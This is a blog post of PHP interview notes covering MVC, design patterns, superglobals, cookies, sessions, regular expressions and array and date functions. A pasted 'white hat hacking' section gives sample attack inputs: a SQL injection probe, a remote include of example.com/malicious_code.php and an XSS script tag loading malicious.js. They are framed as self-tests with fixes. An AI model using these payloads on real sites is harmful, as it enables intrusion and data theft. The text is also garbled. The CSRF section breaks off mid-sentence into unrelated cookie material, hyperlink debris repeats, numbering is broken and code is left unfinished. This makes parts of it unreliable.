Pages

Friday, August 26, 2011

PHP Interview Questions Part-3

1. MVC in PHP
 The main aim of the MVC architecture  is to separate the business logic and application data from the presentation data to the user.
Here are the reasons why we should use the MVC design pattern.
1.    They are resuable : When the problems recurs, there is no need to invent a new solution, we just have to follow the pattern and adapt it as necessary.
They are expressive: By using the MVC design pattern our application becomes more expressive.
1).  Model: The model object knows about all the data that need to be displayed. It is model who is aware about all the operations that can be applied to transform that object. It only represents the data of an application. The model represents enterprise data and the business rules that govern access to and updates of this data. Model is not aware about the presentation data and how that data will be displayed to the browser.  
2). View : The view represents the presentation of the application. The view object refers to the model. It uses the query methods of the model to obtain the contents and renders it. The view is not dependent on the application logic. It remains same if there is any modification in the business logic. In other words, we can say that it is the responsibility of the of the view's to maintain the consistency in its presentation when the model changes.
3). Controller:  Whenever the user sends a request for something then it always go through the controller. The controller is responsible for intercepting the requests from view and passes it to the model for the appropriate action. After the action has been taken on the data, the controller is responsible for directing the appropriate view to the user. In  GUIs, the views and the controllers often work very closely together.

2. Super global variables (size,life)

Several predefined variables in PHP are "superglobals", which means they are available in all scopes throughout a script. There is no need to do global $variable; to access them within functions or methods.

These superglobal variables are:

    * $GLOBALS
    * $_SERVER
    * $_GET
    * $_POST
    * $_FILES
    * $_COOKIE
    * $_SESSION
    * $_REQUEST
    * $_ENV

Predefined Variables

PHP provides a large number of predefined variables to all scripts. The variables represent everything from external variables to built-in environment variables, last error messages to last retrieved headers.

See also the FAQ titled "How does register_globals affect me?"
Table of Contents

    * Superglobals ― Superglobals are built-in variables that are always available in all scopes
    * $GLOBALS ― References all variables available in global scope
    * $_SERVER ― Server and execution environment information
    * $_GET ― HTTP GET variables
    * $_POST ― HTTP POST variables
    * $_FILES ― HTTP File Upload variables
    * $_REQUEST ― HTTP Request variables
    * $_SESSION ― Session variables
    * $_ENV ― Environment variables
    * $_COOKIE ― HTTP Cookies
    * $php_errormsg ― The previous error message
    * $HTTP_RAW_POST_DATA ― Raw POST data
    * $http_response_header ― HTTP response headers
    * $argc ― The number of arguments passed to script
    * $argv ― Array of arguments passed to script

3. Http & Https

Hypertext Transfer Protocol (http) is a system for transmitting and receiving information across the Internet. Http serves as a request and response procedure that all agents on the Internet follow so that information can be rapidly, easily, and accurately disseminated between servers, which hold information, and clients, who are trying to access it. Http is commonly used to access html pages, but other resources can be utilized as well through http. In many cases, clients may be exchanging confidential information with a server, which needs to be secured in order to prevent unauthorized access. For this reason, https, or secure http, was developed by Netscape corporation to allow authorization and secured transactions.

Hypertext Transfer Protocol Secure (HTTPS) is a combination of the Hypertext Transfer Protocol with the SSL/TLS protocol to provide encrypted communication and secure identification of a network web server. HTTPS connections are often used for payment transactions on the World Wide Web and for sensitive transactions in corporate information systems

The main idea of HTTPS is to create a secure channel over an insecure network. This ensures reasonable protection from eavesdroppers and man-in-the-middle attacks, provided that adequate cipher suites are used and that the server certificate is verified and trusted.

4. Patterns
The factory pattern
The singleton pattern
The observer pattern
The chain-of-command pattern
The strategy pattern

The factory pattern
Many of the design patterns in the original Design Patterns book encourage loose coupling. To understand this concept, it's easiest to talk about a struggle that many developers go through in large systems. The problem occurs when you change one piece of code and watch as a cascade of breakage happens in other parts of the system -- parts you thought were completely unrelated.
The problem is tight coupling. Functions and classes in one part of the system rely too heavily on behaviors and structures in other functions and classes in other parts of the system. You need a set of patterns that lets these classes talk with each other, but you don't want to tie them together so heavily that they become interlocked.
In large systems, lots of code relies on a few key classes. Difficulties can arise when you need to change those classes. For example, suppose you have a User class that reads from a file. You want to change it to a different class that reads from the database, but all the code references the original class that reads from a file. This is where the factory pattern comes in handy.
The factory pattern is a class that has some methods that create objects for you. Instead of using new directly, you use the factory class to create objects. That way, if you want to change the types of objects created, you can change just the factory. All the code that uses the factory changes automatically.
Listing 1 shows an example of a factory class. The server side of the equation comes in two pieces: the database, and a set of PHP pages that let you add feeds, request the list of feeds, and get the article associated with a particular feed.

Listing 1. Factory1.php

               
<?php
interface IUser
{
  function getName();
}

class User implements IUser
{
  public function __construct( $id ) { }

  public function getName()
  {
    return "Jack";
  }
}

class UserFactory
{
  public static function Create( $id )
  {
    return new User( $id );
  }
}

$uo = UserFactory::Create( 1 );
echo( $uo->getName()."\n" );
?>   

An interface called IUser defines what a user object should do. The implementation of IUser is called User, and a factory class called UserFactory creates IUser objects. This relationship is shown as UML in Figure 1.

Figure 1. The factory class and its related IUser interface and user class

If you run this code on the command line using the php interpreter, you get this result:

% php factory1.php
Jack
%   

The test code asks the factory for a User object and prints the result of the getName method.
A variation of the factory pattern uses factory methods. These public static methods in the class construct objects of that type. This approach is useful when creating an object of this type is nontrivial. For example, suppose you need to first create the object and then set many attributes. This version of the factory pattern encapsulates that process in a single location so that the complex initialization code isn't copied and pasted all over the code base.
Listing 2 shows an example of using factory methods.

Listing 2. Factory2.php

               
<?php
interface IUser
{
  function getName();
}

class User implements IUser
{
  public static function Load( $id )
  {
        return new User( $id );
  }

  public static function Create( )
  {
        return new User( null );
  }

  public function __construct( $id ) { }

  public function getName()
  {
    return "Jack";
  }
}

$uo = User::Load( 1 );
echo( $uo->getName()."\n" );
?>   

This code is much simpler. It has only one interface, IUser, and one class called User that implements the interface. The User class has two static methods that create the object. This relationship is shown in UML in Figure 2.

Figure 2. The IUser interface and the user class with factory methods

Running the script on the command line yields the same result as the code in Listing 1, as shown here:

% php factory2.php
Jack
%   

As stated, sometimes such patterns can seem like overkill in small situations. Nevertheless, it's still good to learn solid coding forms like these for use in any size of project.
The singleton pattern
Some application resources are exclusive in that there is one and only one of this type of resource. For example, the connection to a database through the database handle is exclusive. You want to share the database handle in an application because it's an overhead to keep opening and closing connections, particularly during a single page fetch.
The singleton pattern covers this need. An object is a singleton if the application can include one and only one of that object at a time. The code in Listing 3 shows a database connection singleton in PHP V5.

Listing 3. Singleton.php

               
<?php
require_once("DB.php");

class DatabaseConnection
{
  public static function get()
  {
    static $db = null;
    if ( $db == null )
      $db = new DatabaseConnection();
    return $db;
  }

  private $_handle = null;

  private function __construct()
  {
    $dsn = 'mysql://root:password@localhost/photos';
    $this->_handle =& DB::Connect( $dsn, array() );
  }
 
  public function handle()
  {
    return $this->_handle;
  }
}

print( "Handle = ".DatabaseConnection::get()->handle()."\n" );
print( "Handle = ".DatabaseConnection::get()->handle()."\n" );
?>   

This code shows a single class called DatabaseConnection. You can't create your own DatabaseConnection because the constructor is private. But you can get the one and only one DatabaseConnection object using the static get method. The UML for this code is shown in Figure 3.

Figure 3. The database connection singleton

The proof in the pudding is that the database handle returned by the handle method is the same between two calls. You can see this by running the code on the command line.

% php singleton.php
Handle = Object id #3
Handle = Object id #3
%   

The two handles returned are the same object. If you use the database connection singleton across the application, you reuse the same handle everywhere.
You could use a global variable to store the database handle, but that approach only works for small applications. In larger applications, avoid globals, and go with objects and methods to get access to resources.
The observer pattern
The observer pattern gives you another way to avoid tight coupling between components. This pattern is simple: One object makes itself observable by adding a method that allows another object, the observer, to register itself. When the observable object changes, it sends a message to the registered observers. What those observers do with that information isn't relevant or important to the observable object. The result is a way for objects to talk with each other without necessarily understanding why.
A simple example is a list of users in a system. The code in Listing 4 shows a user list that sends out a message when users are added. This list is watched by a logging observer that puts out a message when a user is added.

Listing 4. Observer.php

               
<?php
interface IObserver
{
  function onChanged( $sender, $args );
}

interface IObservable
{
  function addObserver( $observer );
}

class UserList implements IObservable
{
  private $_observers = array();

  public function addCustomer( $name )
  {
    foreach( $this->_observers as $obs )
      $obs->onChanged( $this, $name );
  }

  public function addObserver( $observer )
  {
    $this->_observers []= $observer;
  }
}

class UserListLogger implements IObserver
{
  public function onChanged( $sender, $args )
  {
    echo( "'$args' added to user list\n" );
  }
}

$ul = new UserList();
$ul->addObserver( new UserListLogger() );
$ul->addCustomer( "Jack" );
?>   

This code defines four elements: two interfaces and two classes. The IObservable interface defines an object that can be observed, and the UserList implements that interface to register itself as observable. The IObserver list defines what it takes to be an observer, and the UserListLogger implements that IObserver interface. This is shown in the UML in Figure 4.

Figure 4. The observable user list and the user list event logger

If you run this on the command line, you see this output:

% php observer.php
'Jack' added to user list
%   

The test code creates a UserList and adds the UserListLogger observer to it. Then the code adds a customer, and the UserListLogger is notified of that change.
It's critical to realize that the UserList doesn't know what the logger is going to do. There could be one or more listeners that do other things. For example, you may have an observer that sends a message to the new user, welcoming him to the system. The value of this approach is that the UserList is ignorant of all the objects depending on it; it focuses on its job of maintaining the user list and sending out messages when the list changes.
This pattern isn't limited to objects in memory. It's the underpinning of the database-driven message queuing systems used in larger applications.
The chain-of-command pattern
Building on the loose-coupling theme, the chain-of-command pattern routes a message, command, request, or whatever you like through a set of handlers. Each handler decides for itself whether it can handle the request. If it can, the request is handled, and the process stops. You can add or remove handlers from the system without influencing other handlers. Listing 5 shows an example of this pattern.

Listing 5. Chain.php

               
<?php
interface ICommand
{
  function onCommand( $name, $args );
}

class CommandChain
{
  private $_commands = array();

  public function addCommand( $cmd )
  {
    $this->_commands []= $cmd;
  }

  public function runCommand( $name, $args )
  {
    foreach( $this->_commands as $cmd )
    {
      if ( $cmd->onCommand( $name, $args ) )
        return;
    }
  }
}

class UserCommand implements ICommand
{
  public function onCommand( $name, $args )
  {
    if ( $name != 'addUser' ) return false;
    echo( "UserCommand handling 'addUser'\n" );
    return true;
  }
}

class MailCommand implements ICommand
{
  public function onCommand( $name, $args )
  {
    if ( $name != 'mail' ) return false;
    echo( "MailCommand handling 'mail'\n" );
    return true;
  }
}

$cc = new CommandChain();
$cc->addCommand( new UserCommand() );
$cc->addCommand( new MailCommand() );
$cc->runCommand( 'addUser', null );
$cc->runCommand( 'mail', null );
?>   

This code defines a CommandChain class that maintains a list of ICommand objects. Two classes implement the ICommand interface -- one that responds to requests for mail and another that responds to adding users. The UML is shows in Figure 5.

Figure 5. The command chain and its related commands

If you run the script, which contains some test code, you see the following output:

% php chain.php
UserCommand handling 'addUser'
MailCommand handling 'mail'
%   

The code first creates a CommandChain object and adds instances of the two command objects to it. It then runs two commands to see who responds to those commands. If the name of the command matches either UserCommand or MailCommand, the code falls through and nothing happens.
The chain-of-command pattern can be valuable in creating an extensible architecture for processing requests, which can be applied to many problems.
The strategy pattern
The last design pattern we will cover is the strategy pattern. In this pattern, algorithms are extracted from complex classes so they can be replaced easily. For example, the strategy pattern is an option if you want to change the way pages are ranked in a search engine. Think about a search engine in several parts -- one that iterates through the pages, one that ranks each page, and another that orders the results based on the rank. In a complex example, all those parts would be in the same class. Using the strategy pattern, you take the ranking portion and put it into another class so you can change how pages are ranked without interfering with the rest of the search engine code.
As a simpler example, Listing 6 shows a user list class that provides a method for finding a set of users based on a plug-and-play set of strategies.

Listing 6. Strategy.php

               
<?php
interface IStrategy
{
  function filter( $record );
}

class FindAfterStrategy implements IStrategy
{
  private $_name;

  public function __construct( $name )
  {
    $this->_name = $name;
  }

  public function filter( $record )
  {
    return strcmp( $this->_name, $record ) <= 0;
  }
}

class RandomStrategy implements IStrategy
{
  public function filter( $record )
  {
    return rand( 0, 1 ) >= 0.5;
  }
}

class UserList
{
  private $_list = array();

  public function __construct( $names )
  {
    if ( $names != null )
    {
      foreach( $names as $name )
      {
        $this->_list []= $name;
      }
    }
  }

  public function add( $name )
  {
    $this->_list []= $name;
  }

  public function find( $filter )
  {
    $recs = array();
    foreach( $this->_list as $user )
    {
      if ( $filter->filter( $user ) )
        $recs []= $user;
    }
    return $recs;
  }
}

$ul = new UserList( array( "Andy", "Jack", "Lori", "Megan" ) );
$f1 = $ul->find( new FindAfterStrategy( "J" ) );
print_r( $f1 );

$f2 = $ul->find( new RandomStrategy() );
print_r( $f2 );
?>   

The UML for this code is shown in Figure 6.

Figure 6. The user list and the strategies for selecting users

The UserList class is a wrapper around an array of names. It implements a find method that takes one of several strategies for selecting a subset of those names. Those strategies are defined by the IStrategy interface, which has two implementations: One chooses users randomly and the other chooses all the names after a specified name. When you run the test code, you get the following output:

% php strategy.php
Array
(
    [0] => Jack
    [1] => Lori
    [2] => Megan
)
Array
(
    [0] => Andy
    [1] => Megan
)
%   

The test code runs the same user lists against two strategies and shows the results. In the first case, the strategy looks for any name that sorts after J, so you get Jack, Lori, and Megan. The second strategy picks names randomly and yields different results every time. In this case, the results are Andy and Megan.
The strategy pattern is great for complex data-management systems or data-processing systems that need a lot of flexibility in how data is filtered, searched, or processed.


5. Php functions

    * Array functions
    * Calendar functions
    * Date functions
    * Directory functions
    * Error functions
    * Filesystem functions
    * Filter functions
    * FTP functions
    * HTTP functions
    * LibXML functions
    * Mail functions
    * Math functions
    * Misc functions
    * MySQL functions
    * SimpleXML functions
    * String functions
    * XML Parser functions
    * Zip functions

6. Php cookies

A cookie is often used to identify a user. A cookie is a small file that the server embeds on the user's computer. Each time the same computer requests a page with a browser, it will send the cookie too. With PHP, you can both create and retrieve cookie values.

Syntax

setcookie(name, value, expire, path, domain);

Example 1

In the example below, we will create a cookie named "user" and assign the value "Alex Porter" to it. We also specify that the cookie should expire after one hour:
<?php
setcookie("user", "Alex Porter", time()+3600);
?>


Note: The value of the cookie is automatically URLencoded when sending the cookie, and automatically decoded when received (to prevent URLencoding, use setrawcookie() instead).

Delete example:
<?php
// set the expiration date to one hour ago
setcookie("user", "", time()-3600);
?>

The maximum number of cookies from a host that can be stored by a browser is 20
The maximum cookie size is 4KB

7. PHP data types, how to define

    * integer numbers
    * floating point numbers
    * strings
    * booleans
    * arrays
    * objects
    * resouces
    * null

8. PHP global array

The Global Array List
So what are the global arrays? Well here is the list.

Old Form    New Form    Description      
--    $GLOBALS[]    The complete list of all global variables, including user defined variables at the global level.      
$HTTP_GET_VARS[]    $_GET[]    All variables received as part of a query string in the requesting URL, or HTML form data transmitted using the GET method.      
$HTTP_POST_VARS[]    $_POST[]    All variables recieved as an inline posted data set, normally through using the POST method in an HTML form.      
$HTTP_POST_FILES[]    $_FILES[]    References to all files received, most commonly from HTML forms, using the POST method.      
$HTTP_COOKIE_VARS[]    $_COOKIE[]    Any cookies returned from the client. The index key name matches the cookie name.      
--    $_REQUEST[]    A more recent addition that stores all user variables, including elements from the $_GET[], $_POST[], and $_COOKIE[] arrays. Prior to PHP4.3, this also includes the $_FILES[] array.      
$HTTP_SERVER_VARS[]    $_SERVER[]    Information about the server session and the HTTP connection with the client.      
$HTTP_ENV_VARS[]    $_ENV[]    Information about the server environment and system defined values.      
$HTTP_SESSION_VARS[]    $_SESSION[]    IF PHP is being used for session management, this array is to store any session variables that need to be stored on the server between calls from the client.   

8. Regular expressions

Regular expressions syntax

Regular Expression    Will match…      
foo    The string “foo”      
^foo    “foo” at the start of a string      
foo$    “foo” at the end of a string      
^foo$    “foo” when it is alone on a string      
[abc]    a, b, or c      
[a-z]    Any lowercase letter      
[^A-Z]    Any character that is not a uppercase letter      
(gif|jpg)    Matches either “gif” or “jpeg”      
[a-z]+    One or more lowercase letters      
[0-9.-]    Аnumber, dot, or minus sign      
^[a-zA-Z0-9_]{1,}$    Any word of at least one letter, number or _      
([wx])([yz])    wy, wz, xy, or xz      
[^A-Za-z0-9]    Any symbol (not a number or a letter)      
([A-Z]{3}|[0-9]{4})    Matches three letters or four numbers   

PHP regular expression functions

Function    Description      
preg_match()    The preg_match() function searches string for pattern, returning true if pattern exists, and false otherwise.      
preg_match_all()    The preg_match_all() function matches all occurrences of pattern in string.      
preg_replace()    The preg_replace() function operates just like ereg_replace(), except that regular expressions can be used in the pattern and replacement input parameters.      
preg_split()    The preg_split() function operates exactly like split(), except that regular expressions are accepted as input parameters for pattern.      
preg_grep()    The preg_grep() function searches all elements of input_array, returning all elements matching the regexp pattern.      
preg_ quote()    Quote regular expression characters   

9. Spit and explode

split we can use regular expression in the search field
wheras in explode we cant.
10. PHP Session

Basic Usage
<?php
session_start();
// Use $HTTP_SESSION_VARS with PHP 4.0.6 or less
if (!isset($_SESSION['count'])) {
  $_SESSION['count'] = 0;
} else {
  $_SESSION['count']++;
}
?>
<?php
session_start();
// Use $HTTP_SESSION_VARS with PHP 4.0.6 or less
unset($_SESSION['count']);
?>
Session Functions
    * session_cache_expire ― Return current cache expire
    * session_cache_limiter ― Get and/or set the current cache limiter
    * session_commit ― Alias of session_write_close
    * session_decode ― Decodes session data from a string
    * session_destroy ― Destroys all data registered to a session
    * session_encode ― Encodes the current session data as a string
    * session_get_cookie_params ― Get the session cookie parameters
    * session_id ― Get and/or set the current session id
    * session_is_registered ― Find out whether a global variable is registered in a session
    * session_module_name ― Get and/or set the current session module
    * session_name ― Get and/or set the current session name
    * session_regenerate_id ― Update the current session id with a newly generated one
    * session_register ― Register one or more global variables with the current session
    * session_save_path ― Get and/or set the current session save path
    * session_set_cookie_params ― Set the session cookie parameters
    * session_set_save_handler ― Sets user-level session storage functions
    * session_start ― Initialize session data
    * session_unregister ― Unregister a global variable from the current session
    * session_unset ― Free all session variables
    * session_write_close ― Write session data and end session
11. PHP security issues
Top 5 Ways to Hack into Your Web Application (and how to close those security loopholes!)
Are you familiar with white hat hacking? If you aren’t, you should be. White hat hacking is a planned attack that checks your systems for vulnerabilities. After the hacker successfully (and harmlessly) compromises your environment, they tell you what to do to fix it.
Even though most security loopholes are well-documented, I’m surprised how many open exploits are in applications that we security scan here at INetU. So stand by for a little White Hat Hacking 101, where I’ll teach you how to hack into your own site.
Hack One: Injection Attacks
I’ll start with injection exploits because most IT professionals, even though they have cursory basic understanding of the dangers, leave too many sites open to the vulnerability, according to the
Find a page on your application that accepts user-supplied information to access a database:
·    A login form, signup form, or “forgot password” form is a good start.
A dynamic page that uses URL variables such as ID (product information pages are good for this).
Knowing that the database command takes the user-supplied information into a WHERE clause, try to finish the command with SQL that will throw an error. So on our login form, perhaps we want to try putting this into the username: username’ or fake_column IS NULL. If you are greeted with a database error message page, success! You’ve hacked your own site.
The Risk: Our hack above seems pretty harmless, but it just finds the place in your application susceptible to malicious code injection. Once a hacker knows they have an unprotected line to your database, the possibilities are endless: vandalism, data theft, or even total system compromise.
The Fix: There are two main ways to protect your site from injection: 1) always sanitize user-submitted data (if a username can’t contain a single quote character, don’t let users enter it), and 2) use a web-specific database login that has the least permissions necessary to perform its tasks (your web application doesn’t need admin access to your database). OWASP has a
Hack Two: PHP Remote File Includes
If your site doesn’t use any PHP, then good news: you’re safe! But according to the SANS Institute, PHP is themost popular web application framework         . When used properly, PHP can be a very powerful and useful tool for a number of different applications. Perhaps because of its popularity, it’s also an enticing target for hackers to find exploits. The PHP function allow_url_fopen is a favorite for hackers not only because it allows them to run their scripts on your site, but also because it is enabled by default.
Are you at risk? Let’s find out.
Find a PHP script that uses the include() function. If you have a path name in the include, change it to the absolute URL equivalent. If the file still works after this change, success! You’ve just hacked your own site.
The Risk: Okay, the hacker might need to do a little more legwork in this example, but it severely increases the surface area for attack. All a hacker needs to do is find one file to manipulate and add the line: include(‘http://www.example.com/malicious_code.php’) and you are compromised. Compromise might include password stealing, remote root kit installation, and in some cases complete system compromise.
The Fix: Turning off allow_url_fopen is the most obvious fix, but if that isn’t an option, you can try turning on PHP’s safe mode to prevent the most common malicious functions from executing on your server. Keep PHP updated with the latest security patches and be aware of emerging threats by following tech news outlets.
Hack Three: Cross Site Scripting (XSS)
Cross Site Scripting occurs when a website takes malicious user input and, without question, posts the input to their page. The most common reason for a web application to do this is capturing user feedback: product reviews, blog comments, etc. As today’s Internet user can open discussions and interact with more websites, XSS hacks are becoming an ever-prevalent problem, possibly soon to be themost common vulnerability on the InternetHYPERLINK "http://cwe.mitre.org/documents/vuln-trends/" most common vulnerability on the InternetHYPERLINK "http://cwe.mitre.org/documents/vuln-trends/" most common vulnerability on the Internet         .
So are you at risk? Let’s find out.
Search your application for a page that takes user input and outputs it directly to a webpage. Common examples:
·    Forums
Comments
Wikis
Reviews
Craft a post that calls on JavaScript from an outside server. For example, try to post: This is a hacked entry <script src=”http://www.example.com/malicious.js”></script>. Now load the page where that post is outputted. Did your script run? Then success! You’ve just hacked your own site.
The Risk: The risk here is both for you and for your visitors. First, this opens your visitors to worms infected through the linked malicious code. Second, your site can be defaced with code that manipulates how your page displays. Third, your hijacked site can be flagged by Google and other search engines as a malicious site, and it could take you months to regain your page rank status. Lastly, it opens the next vulnerability: Cross Site Request Forgeries (CSRF).
The Fix: Fixing XSS and CSRF vulnerabilities require the same steps, so read below.
Hack Four: Cross Site Request Forgeries (CSRF)
In a CSRF attack, a hacker uses a cross-site script to hijack a logged-in user’s credentials. If you are at risk for XSS, then you might be at risk for a CSRF attack. Are you? Let’s find out.
Does your application rely on credentials, like session cookies, to grant permissions to users on your site? If you don’t know offhand, try taking a look at the cookies your browser is storing when you login to your application. Even easier, if your site has a “remember me” feature for logging in, and you know from above you are vulnerable for XSS attacks, then success! You’ve just hacked your own site.
The Risk: The most common use of CSRF is to propagate the virus. TheHTTP Cookies           are not a feature of PHP, nor a feature of Javascript : those are just programming languages that allow a developper to manipulate them.

The biggest difference between JS and PHP is that :
·    Javascript runs on the client side
PHP runs on the server side
Js cookie
function setCookie(c_name,value,exdays)
{
var exdate=new Date();
exdate.setDate(exdate.getDate() + exdays);
var c_value=escape(value) + ((exdays==null) ? "" : "; expires="+exdate.toUTCString());
document.cookie=c_name + "=" + c_value;
}
function getCookie(c_name)
{
var i,x,y,ARRcookies=document.cookie.split(";");
for (i=0;i<ARRcookies.length;i++)
{
  x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));
  y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);
  x=x.replace(/^\s+|\s+$/g,"");
  if (x==c_name)
    {
    return unescape(y);
    }
  }
}

13. Proxy Server
14. XML
·    XML stands for EXtensible Markup Language
XML is a markup language much like HTML
XML was designed to carry data, not to display data
XML tags are not predefined. You must define your own tags
XML is designed to be self-descriptive
XML is a W3C Recommendation
Use
XML Separates Data from HTML
XML Simplifies Data Sharing
XML Simplifies Data Transport
XML Simplifies Platform Changes
XML is Used to Create New Internet Languages
15. Json
JSON, short for JavaScript Object Notation, is a lightweight computer data interchange format. It is a text-based, human-readable format for representing simple data structures and associative arrays (called objects)
JSON is built on two structures:
·    A collection of name/value pairs. In various languages, this is realized as an object, record, struct, dictionary, hash table, keyed list, or associative array.
An ordered list of values. In most languages, this is realized as an array, vector, list, or sequence.
16. SVN
In software development, Subversion (SVN) (from February 2010 also named Apache Subversion ) is a version-control system initiated in 2000 by CollabNet Inc. Developers use Subversion to maintain current and historical versions of files such as source code, web pages, and documentation.
CVS
·    CVS, the Concurrent Versions System, is the most widely used tool for controlling different versions of a source code and for a group of programmers to work simultaneously on a source code.
17. PHP array functions
PHP: indicates the earliest version of PHP that supports the function.

Function    Description    PHP      
array()    Creates an array    3      
array_change_key_case()    Returns an array with all keys in lowercase or uppercase    4      
array_chunk()    Splits an array into chunks of arrays    4      
array_combine()    Creates an array by using one array for keys and another for its values    5      
array_count_values()    Returns an array with the number of occurrences for each value    4      
array_diff()    Compares array values, and returns the differences    4      
array_diff_assoc()    Compares array keys and values, and returns the differences    4      
array_diff_key()    Compares array keys, and returns the differences    5      
array_diff_uassoc()    Compares array keys and values, with an additional user-made function check, and returns the differences    5      
array_diff_ukey()    Compares array keys, with an additional user-made function check, and returns the differences    5      
array_fill()    Fills an array with values    4      
array_filter()    Filters elements of an array using a user-made function    4      
array_flip()    Exchanges all keys with their associated values in an array    4      
array_intersect()    Compares array values, and returns the matches    4      
array_intersect_assoc()    Compares array keys and values, and returns the matches    4      
array_intersect_key()    Compares array keys, and returns the matches    5      
array_intersect_uassoc()    Compares array keys and values, with an additional user-made function check, and returns the matches    5      
array_intersect_ukey()    Compares array keys, with an additional user-made function check, and returns the matches    5      
array_key_exists()    Checks if the specified key exists in the array    4      
array_keys()    Returns all the keys of an array    4      
array_map()    Sends each value of an array to a user-made function, which returns new values    4      
array_merge()    Merges one or more arrays into one array    4      
array_merge_recursive()    Merges one or more arrays into one array    4      
array_multisort()    Sorts multiple or multi-dimensional arrays    4      
array_pad()    Inserts a specified number of items, with a specified value, to an array    4      
array_pop()    Deletes the last element of an array    4      
array_product()    Calculates the product of the values in an array    5      
array_push()    Inserts one or more elements to the end of an array    4      
array_rand()    Returns one or more random keys from an array    4      
array_reduce()    Returns an array as a string, using a user-defined function    4      
array_reverse()    Returns an array in the reverse order    4      
array_search()    Searches an array for a given value and returns the key    4      
array_shift()    Removes the first element from an array, and returns the value of the removed element    4      
array_slice()    Returns selected parts of an array    4      
array_splice()    Removes and replaces specified elements of an array    4      
array_sum()    Returns the sum of the values in an array    4      
array_udiff()    Compares array values in a user-made function and returns an array    5      
array_udiff_assoc()    Compares array keys, and compares array values in a user-made function, and returns an array    5      
array_udiff_uassoc()    Compares array keys and array values in user-made functions, and returns an array    5      
array_uintersect()    Compares array values in a user-made function and returns an array    5      
array_uintersect_assoc()    Compares array keys, and compares array values in a user-made function, and returns an array    5      
array_uintersect_uassoc()    Compares array keys and array values in user-made functions, and returns an array    5      
array_unique()    Removes duplicate values from an array    4      
array_unshift()    Adds one or more elements to the beginning of an array    4      
array_values()    Returns all the values of an array    4      
array_walk()    Applies a user function to every member of an array    3      
array_walk_recursive()    Applies a user function recursively to every member of an array    5      
arsort()    Sorts an array in reverse order and maintain index association    3      
asort()    Sorts an array and maintain index association    3      
compact()    Create array containing variables and their values    4      
count()    Counts elements in an array, or properties in an object    3      
current()    Returns the current element in an array    3      
each()    Returns the current key and value pair from an array    3      
end()    Sets the internal pointer of an array to its last element    3      
extract()    Imports variables into the current symbol table from an array    3      
in_array()    Checks if a specified value exists in an array    4      
key()    Fetches a key from an array    3      
krsort()    Sorts an array by key in reverse order    3      
ksort()    Sorts an array by key    3      
list()    Assigns variables as if they were an array    3      
natcasesort()    Sorts an array using a case insensitive "natural order" algorithm    4      
natsort()    Sorts an array using a "natural order" algorithm    4      
next()    Advance the internal array pointer of an array    3      
pos()    Alias of current()    3      
prev()    Rewinds the internal array pointer    3      
range()    Creates an array containing a range of elements    3      
reset()    Sets the internal pointer of an array to its first element    3      
rsort()    Sorts an array in reverse order    3      
shuffle()    Shuffles an array    3      
sizeof()    Alias of count()    3      
sort()    Sorts an array    3      
uasort()    Sorts an array with a user-defined function and maintain index association    3      
uksort()    Sorts an array by keys using a user-defined function    3      
usort()    Sorts an array by values using a user-defined function    3   

18. PHP Date manipulation

FORMAT:
<?php
// Assuming today is March 10th, 2001, 5:16:18 pm, and that we are in the
// Mountain Standard Time (MST) Time Zone
$today = date("F j, Y, g:i a");                 // March 10, 2001, 5:16 pm
$today = date("m.d.y");                         // 03.10.01
$today = date("j, n, Y");                       // 10, 3, 2001
$today = date("Ymd");                           // 20010310
$today = date('h-i-s, j-m-y, it is w Day');     // 05-16-18, 10-03-01, 1631 1618 6 Satpm01
$today = date('\i\t \i\s \t\h\e jS \d\a\y.');   // it is the 10th day.
$today = date("D M j G:i:s T Y");               // Sat Mar 10 17:16:18 MST 2001
$today = date('H:m:s \m \i\s\ \m\o\n\t\h');     // 17:03:18 m is month
$today = date("H:i:s");                         // 17:16:18
?>
<?php
$date = new DateTime('2000-01-01');
$date->add(new DateInterval('PT10H30S'));
echo $date->format('Y-m-d H:i:s') . "\n";

$date = new DateTime('2000-01-01');
$date->add(new DateInterval('P7Y5M4DT4H3M2S'));
echo $date->format('Y-m-d H:i:s') . "\n";
?>
Date difference
<?php
$datetime1 = new DateTime('2009-10-11');
$datetime2 = new DateTime('2009-10-13');
$interval = $datetime1->diff($datetime2);
echo $interval->format('%R%a days');
?>
19. PHP ini default settings
20. php ini settings dynamically
<?php
echo ini_get('display_errors');

if (!ini_get('display_errors')) {
    ini_set('display_errors', 1);
}

echo ini_get('display_errors');
?>
21. Upload size
Default size : 2 MB
If we want increase the upload size want to change following property
memory_limit = 32M
upload_max_filesize = 10M
post_max_size = 20M

22. Imap
IMAP stands for Internet Message Access Protocol. It is a method of accessing electronic mail or bulletin board messages that are kept on a (possibly shared) mail server. In other words, it permits a "client" email program to access remote message stores as if they were local. For example, email stored on an IMAP server can be manipulated from a desktop computer at home, a workstation at the office, and a notebook computer while traveling, without the need to transfer messages or files back and forth between these computers.
Key goals for IMAP include:
1.    Be fully compatible with Internet messaging standards, e.g. MIME.
Allow message access and management from more than one computer.
Allow access without reliance on less efficient file access protocols.
Provide support for "online", "offline", and "disconnected" access modes
Support for concurrent access to shared mailboxes
Client software needs no knowledge about the server's file store format.

23. PHP 4 and PHP 5 difference
You can now use the final
         keyword to indicate that a method cannot be overridden by a child. You can also declare an entire class as final which prevents it from having any children at all.
The __autoload Function
Using a specially named function, __autoload
     (there's that double-underscore again!), you can automatically load object files when PHP encounters a class that hasn't been defined yet. Instead of large chunks of include's at the top of your scripts, you can define a simple autoload function to include them automatically.
PHP Code:
function __autoload($class_name) {
     require_once "./includes/classes/$class_name.inc.php";


Note you can change the autoload function or even add multiple autoload functions using spl_autoload_registerHYPERLINK "http://php.net/manual/en/function.spl-autoload-register.php" s

Standard PHP Library
PHP now includes a bunch of functionality to solve common problems in the so-named
Miscellaneous Features

Type Hinting
PHP5 introduces limited type hinting. This means you can enforce what kind of variables are passed to functions or class methods. The drawback is that (at this time), it will only work for classes or arrays -- so no other scalar types like integers or strings.

To add a type hint to a parameter, you specify the name of the class before the $. Beware that when you specify a class name, the type will be satisfied with all of its subclasses as well.
PHP Code:
function echo_user(User $user) {
    echo $user->getUsername();


If the passed parameter is not User (or a subclass of User), then PHP will throw a fatal error.

Exceptions
PHP finally introduces

An exception is just an object. When an error occurs, you throw an exception. When an exception is thrown, the rest of the PHP code following will not be executed. When you are about to perform something "risky", surround your code with a try block. If an exception is thrown, then your following catch block is there to intercept the error and handle it accordingly. If there is no catch block, a fatal error occurs.
PHP Code:
try {
    $cache->write();
} catch (AccessDeniedException $e) {
    die('Could not write the cache, access denied.');
} catch (Exception $e) {
